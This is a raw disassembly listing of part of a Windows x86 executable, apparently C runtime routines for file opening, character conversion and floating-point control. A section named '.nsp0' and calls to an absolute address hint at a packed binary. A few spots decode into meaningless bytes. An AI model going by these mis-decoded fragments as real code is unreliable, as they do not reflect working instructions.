		cmp	ecx, 300h
		jnz	loc_4238F2
		mov	[ebp+var_8], 2
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_42398D:				; CODE XREF: sub_423896+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_423996:				; CODE XREF: sub_423896+D0j
					; sub_423896+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_42399B:				; CODE XREF: sub_423896+CEj
		cmp	ecx, 500h
		jz	short loc_4239BD
		cmp	ecx, 600h
		jz	short loc_4239B4
		cmp	ecx, edx
		jz	short loc_4239BD
		jmp	loc_4238F2
; ---------------------------------------------------------------------------


loc_4239B4:				; CODE XREF: sub_423896+E0j
					; sub_423896+113j
		mov	[ebp+var_8], 5
		jmp	short loc_4239C4
; ---------------------------------------------------------------------------


loc_4239BD:				; CODE XREF: sub_423896+10Bj
					; sub_423896+117j
		mov	[ebp+var_8], 1


loc_4239C4:				; CODE XREF: sub_423896+F5j
					; sub_423896+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_4239E3
		mov	ecx, dword_4E1500
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_4239E3
		push	1
		pop	esi


loc_4239E3:				; CODE XREF: sub_423896+138j
					; sub_423896+148j
		test	al, 40h
		jz	short loc_4239F1
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_4239F1:				; CODE XREF: sub_423896+14Fj
		test	ah, 10h
		jz	short loc_4239F8
		or	esi, edi


loc_4239F8:				; CODE XREF: sub_423896+15Ej
		test	al, 20h
		jz	short loc_423A04
		or	esi, 8000000h
		jmp	short loc_423A0E
; ---------------------------------------------------------------------------


loc_423A04:				; CODE XREF: sub_423896+164j
		test	al, 10h
		jz	short loc_423A0E
		or	esi, 10000000h


loc_423A0E:				; CODE XREF: sub_423896+16Cj
					; sub_423896+170j
		call	sub_423638
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423A2F
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 18h
		jmp	short loc_423A6D
; ---------------------------------------------------------------------------


loc_423A2F:				; CODE XREF: sub_423896+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4270EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423A60
		push	esi
		call	near ptr 0B40000h
		rep test eax, eax
		jnz	short loc_423A74
		push	esi
		call	dword_42706C	; CloseHandle


loc_423A60:				; CODE XREF: sub_423896+1B6j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		call	sub_420244
		pop	ecx


loc_423A6D:				; CODE XREF: sub_423896+197j
		mov	eax, edi
		jmp	loc_423B4A
; ---------------------------------------------------------------------------


loc_423A74:				; CODE XREF: sub_423896+1C1j
		cmp	eax, 2
		jnz	short loc_423A7F
		or	[ebp+var_1], 40h
		jmp	short loc_423A88
; ---------------------------------------------------------------------------


loc_423A7F:				; CODE XREF: sub_423896+1E1j
		cmp	eax, 3
		jnz	short loc_423A88
		or	[ebp+var_1], 8


loc_423A88:				; CODE XREF: sub_423896+1E7j
					; sub_423896+1ECj
		push	esi
		push	ebx
		call	loc_4236CD
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4E1820h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423B31
		test	al, 80h
		jz	short loc_423B31
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423B31
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423AE6
		cmp	dword_4E14FC, 83h
		jz	short loc_423B31
		jmp	short loc_423B25
; ---------------------------------------------------------------------------


loc_423AE6:				; CODE XREF: sub_423896+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41EF81
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423B13
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423B13
		push	[ebp+var_10]
		push	ebx
		call	loc_424D36
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423B25


loc_423B13:				; CODE XREF: sub_423896+265j
					; sub_423896+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42261C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423B31


loc_423B25:				; CODE XREF: sub_423896+24Ej
					; sub_423896+27Bj
		push	ebx
		call	sub_41E142
		pop	ecx


loc_423B2C:				; CODE XREF: sub_423896+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423B4A
; ---------------------------------------------------------------------------


loc_423B31:				; CODE XREF: sub_423896+221j
					; sub_423896+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423B48
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423B48
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423B48:				; CODE XREF: sub_423896+29Fj
					; sub_423896+2A5j
		mov	eax, ebx


loc_423B4A:				; CODE XREF: sub_423896+1D9j
					; sub_423896+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423896	endp

; ---------------------------------------------------------------------------


loc_423B4F:				; CODE XREF: sub_41F37A+5Ep
					; .nsp0:0041FFE7p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C28
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, dword_4E16E4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423BBE
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427918
		push	esi
		call	dword_427020	; GetStringTypeW
		test	eax, eax
		jz	short loc_423B9C
		mov	eax, esi
		jmp	short loc_423BB9
; ---------------------------------------------------------------------------


loc_423B9C:				; CODE XREF: .nsp0:00423B96j
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_4D10A8
		push	esi
		push	ebx
		call	near ptr 0B40000h
		and	[ebp-317BF040h], eax
; ---------------------------------------------------------------------------
		db 0
		dd 26A0000h
; ---------------------------------------------------------------------------
		pop	eax


loc_423BB9:				; CODE XREF: .nsp0:00423B9Aj
		mov	dword_4E16E4, eax


loc_423BBE:				; CODE XREF: .nsp0:00423B7Ej
		cmp	eax, 2
		jnz	short loc_423BE7
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_423BCF
		mov	eax, dword_4E15B0 ; CODE XREF: .nsp0:00423BE1j


loc_423BCF:				; CODE XREF: .nsp0:00423BC8j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0B40000h
		js	short near ptr loc_423BCA+2
		lahf
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_423BE7:				; CODE XREF: .nsp0:00423BC1j
		cmp	eax, 1
		jnz	loc_423C84
		cmp	[ebp+18h], ebx
		jnz	short loc_423BFD
		mov	eax, dword_4E15C0
		mov	[ebp+18h], eax


loc_423BFD:				; CODE XREF: .nsp0:00423BF3j
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	dword_427184	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_423C84
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BC40
		add	esp, 0Ch
		jmp	short loc_423C53
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_423C53:				; CODE XREF: .nsp0:00423C46j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423C84
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	dword_427184	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_423C84
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	dword_427020	; GetStringTypeW
		jmp	short loc_423C86
; ---------------------------------------------------------------------------


loc_423C84:				; CODE XREF: .nsp0:00423BEAj
					; .nsp0:00423C1Fj ...
		xor	eax, eax


loc_423C86:				; CODE XREF: .nsp0:00423C82j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423C98	proc near		; CODE XREF: sub_41F3EF+61p
					; sub_4202AB+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4E1920
		jb	short loc_423CA7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: sub_423C98+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1820[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423C98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CBE	proc near		; CODE XREF: sub_41F504+2D4p
					; sub_41F504+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423CCA
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423CCA:				; CODE XREF: sub_423CBE+8j
		cmp	dword_4E15B0, 0
		jnz	short loc_423CE5
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423D17
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423CE5:				; CODE XREF: sub_423CBE+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_44276C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4E15C0
		call	dword_427180	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_423D17
		cmp	[ebp+arg_0], 0
		jz	short loc_423D24


loc_423D17:				; CODE XREF: sub_423CBE+1Ej
					; sub_423CBE+51j
		mov	dword_4E14F8, 2Ah
		or	eax, 0FFFFFFFFh


loc_423D24:				; CODE XREF: sub_423CBE+57j
		pop	ebp
		retn
sub_423CBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D26	proc near		; CODE XREF: sub_420375+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423D49
		cmp	[ebp+arg_8], ebx
		jz	short loc_423D49
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423D4F
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423D49
		mov	[eax], bx


loc_423D49:				; CODE XREF: sub_423D26+Cj
					; sub_423D26+11j ...
		xor	eax, eax


loc_423D4B:				; CODE XREF: sub_423D26+42j
					; sub_423D26+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423D4F:				; CODE XREF: sub_423D26+17j
		cmp	dword_4E15B0, ebx
		jnz	short loc_423D6A
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423D65
		movzx	ax, al
		mov	[ecx], ax


loc_423D65:				; CODE XREF: sub_423D26+36j
					; sub_423D26+C0j
		push	1
		pop	eax
		jmp	short loc_423D4B
; ---------------------------------------------------------------------------


loc_423D6A:				; CODE XREF: sub_423D26+2Fj
		mov	ecx, off_442560
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423DC7
		mov	eax, dword_44276C
		cmp	eax, 1
		jle	short loc_423DAE
		cmp	[ebp+arg_8], eax
		jl	short loc_423DB8
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4E15C0
		call	dword_427184	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_44276C
		jnz	short loc_423D4B


loc_423DAE:				; CODE XREF: sub_423D26+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423DB8
		cmp	[esi+1], bl
		jnz	short loc_423D4B


loc_423DB8:				; CODE XREF: sub_423D26+61j
					; sub_423D26+8Bj ...
		mov	dword_4E14F8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423D4B
; ---------------------------------------------------------------------------


loc_423DC7:				; CODE XREF: sub_423D26+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4E15C0
		call	dword_427184	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_423D65
		jmp	short loc_423DB8
sub_423D26	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423DF0	proc near		; CODE XREF: sub_420375+797p
					; sub_420375+7E7p
		cmp	cl, 40h
		jnb	short loc_423E0A
		cmp	cl, 20h
		jnb	short loc_423E00
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423E00:				; CODE XREF: sub_423DF0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423E0A:				; CODE XREF: sub_423DF0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423DF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E0F	proc near		; CODE XREF: sub_420DEB+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423E5B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423E2D
		test	al, 80h
		jz	short loc_423E5B
		test	al, 2
		jnz	short loc_423E5B


loc_423E2D:				; CODE XREF: sub_423E0F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423E3A
		push	esi
		call	sub_423852
		pop	ecx


loc_423E3A:				; CODE XREF: sub_423E0F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423E4A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423E5B
		inc	eax
		mov	[esi], eax


loc_423E4A:				; CODE XREF: sub_423E0F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_423E61
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_423E67
		inc	eax
		mov	[esi], eax


loc_423E5B:				; CODE XREF: sub_423E0F+9j
					; sub_423E0F+18j ...
		or	eax, 0FFFFFFFFh


loc_423E5E:				; CODE XREF: sub_423E0F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_423E61:				; CODE XREF: sub_423E0F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_423E67:				; CODE XREF: sub_423E0F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423E5E
sub_423E0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E7D	proc near		; CODE XREF: sub_4213DB+52p
		xor	eax, eax
		retn
sub_423E7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E80	proc near		; CODE XREF: sub_423EB5+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_423ECB
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_423F5D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_423E80	endp


; =============== S U B	R O U T	I N E =======================================



sub_423EB5	proc near		; CODE XREF: sub_4216C7+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_423E80
		pop	ecx
		pop	ecx
		retn
sub_423EB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_423ECB	proc near		; CODE XREF: sub_423E80+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_423EDC
		push	10h
		pop	eax


loc_423EDC:				; CODE XREF: sub_423ECB+Cj
		test	bl, 4
		jz	short loc_423EE3
		or	al, 8


loc_423EE3:				; CODE XREF: sub_423ECB+14j
		test	bl, 8
		jz	short loc_423EEA
		or	al, 4


loc_423EEA:				; CODE XREF: sub_423ECB+1Bj
		test	bl, 10h
		jz	short loc_423EF1
		or	al, 2


loc_423EF1:				; CODE XREF: sub_423ECB+22j
		test	bl, 20h
		jz	short loc_423EF8
		or	al, 1


loc_423EF8:				; CODE XREF: sub_423ECB+29j
		test	bl, 2
		jz	short loc_423F02
		or	eax, 80000h


loc_423F02:				; CODE XREF: sub_423ECB+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_423F3A
		cmp	edx, 400h
		jz	short loc_423F37
		cmp	edx, 800h
		jz	short loc_423F33
		cmp	edx, esi
		jnz	short loc_423F3A
		or	eax, edi
		jmp	short loc_423F3A
; ---------------------------------------------------------------------------


loc_423F33:				; CODE XREF: sub_423ECB+5Ej
		or	eax, ebp
		jmp	short loc_423F3A
; ---------------------------------------------------------------------------


loc_423F37:				; CODE XREF: sub_423ECB+56j
		or	ah, 1


loc_423F3A:				; CODE XREF: sub_423ECB+4Ej
					; sub_423ECB+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_423F4A
		cmp	ecx, ebp
		jnz	short loc_423F4F
		or	eax, 10000h
		jmp	short loc_423F4F
; ---------------------------------------------------------------------------


loc_423F4A:				; CODE XREF: sub_423ECB+72j
		or	eax, 20000h


loc_423F4F:				; CODE XREF: sub_423ECB+76j
					; sub_423ECB+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_423F5C
		or	eax, 40000h

locret_423F5C:				; CODE XREF: sub_423ECB+8Aj
		retn
sub_423ECB	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F5D	proc near		; CODE XREF: sub_423E80+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_423F6D
		push	1
		pop	eax


loc_423F6D:				; CODE XREF: sub_423F5D+Bj
		test	bl, 8
		jz	short loc_423F74
		or	al, 4


loc_423F74:				; CODE XREF: sub_423F5D+13j
		test	bl, 4
		jz	short loc_423F7B
		or	al, 8


loc_423F7B:				; CODE XREF: sub_423F5D+1Aj
		test	bl, 2
		jz	short loc_423F82
		or	al, 10h


loc_423F82:				; CODE XREF: sub_423F5D+21j
		test	bl, 1
		jz	short loc_423F89
		or	al, 20h


loc_423F89:				; CODE XREF: sub_423F5D+28j
		test	ebx, 80000h
		jz	short loc_423F93
		or	al, 2


loc_423F93:				; CODE XREF: sub_423F5D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_423FC0
		cmp	ecx, 100h
		jz	short loc_423FBD
		cmp	ecx, esi
		jz	short loc_423FB8
		cmp	ecx, edx
		jnz	short loc_423FC0
		or	ah, 0Ch
		jmp	short loc_423FC0
; ---------------------------------------------------------------------------


loc_423FB8:				; CODE XREF: sub_423F5D+50j
		or	ah, 8
		jmp	short loc_423FC0
; ---------------------------------------------------------------------------


loc_423FBD:				; CODE XREF: sub_423F5D+4Cj
		or	ah, 4


loc_423FC0:				; CODE XREF: sub_423F5D+44j
					; sub_423F5D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_423FD6
		cmp	ecx, 10000h
		jnz	short loc_423FD8
		or	eax, esi
		jmp	short loc_423FD8
; ---------------------------------------------------------------------------


loc_423FD6:				; CODE XREF: sub_423F5D+6Bj
		or	eax, edx


loc_423FD8:				; CODE XREF: sub_423F5D+73j
					; sub_423F5D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_423FE5
		or	ah, 10h

locret_423FE5:				; CODE XREF: sub_423F5D+83j
		retn
sub_423F5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FE6	proc near		; CODE XREF: sub_424085+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42402B
		inc	esi
		cmp	esi, 3
		jge	short loc_424026
		lea	eax, [eax+esi*4]


loc_424018:				; CODE XREF: sub_423FE6+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42402B
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_424018


loc_424026:				; CODE XREF: sub_423FE6+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42402B:				; CODE XREF: sub_423FE6+27j
					; sub_423FE6+35j
		xor	eax, eax
		pop	esi
		retn
sub_423FE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42402F	proc near		; CODE XREF: sub_424085+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_424E7C
		add	esp, 0Ch
		dec	esi
		js	short loc_424081
		lea	edi, [ebx+esi*4]


loc_424068:				; CODE XREF: sub_42402F+50j
		test	eax, eax
		jz	short loc_424081
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_424E7C
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424068


loc_424081:				; CODE XREF: sub_42402F+34j
					; sub_42402F+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42402F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424085	proc near		; CODE XREF: sub_4241E0+81p
					; sub_4241E0+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4240E9
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_423FE6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4240E6
		push	edi
		push	[ebp+arg_0]
		call	sub_42402F
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4240E6:				; CODE XREF: sub_424085+51j
		mov	eax, [ebp+arg_4]


loc_4240E9:				; CODE XREF: sub_424085+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424109
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424109:				; CODE XREF: sub_424085+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424085	endp


; =============== S U B	R O U T	I N E =======================================



sub_424111	proc near		; CODE XREF: sub_4241E0+75p
					; sub_4241E0+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_42411F:				; CODE XREF: sub_424111+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_42411F
		pop	esi
		retn
sub_424111	endp


; =============== S U B	R O U T	I N E =======================================



sub_42412C	proc near		; CODE XREF: sub_4241E0+5Fp
					; sub_4241E0+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42412C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424138	proc near		; CODE XREF: sub_4241E0+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_42413E:				; CODE XREF: sub_424138+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424150
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_42413E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424150:				; CODE XREF: sub_424138+9j
		xor	eax, eax
		retn
sub_424138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424153	proc near		; CODE XREF: sub_4241E0+C0p
					; sub_4241E0+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424189:				; CODE XREF: sub_424153+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424189
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4241BB:				; CODE XREF: sub_424153+86j
		cmp	ebx, edi
		jl	short loc_4241CE
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4241D5
; ---------------------------------------------------------------------------


loc_4241CE:				; CODE XREF: sub_424153+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4241D5:				; CODE XREF: sub_424153+79j
		dec	ebx
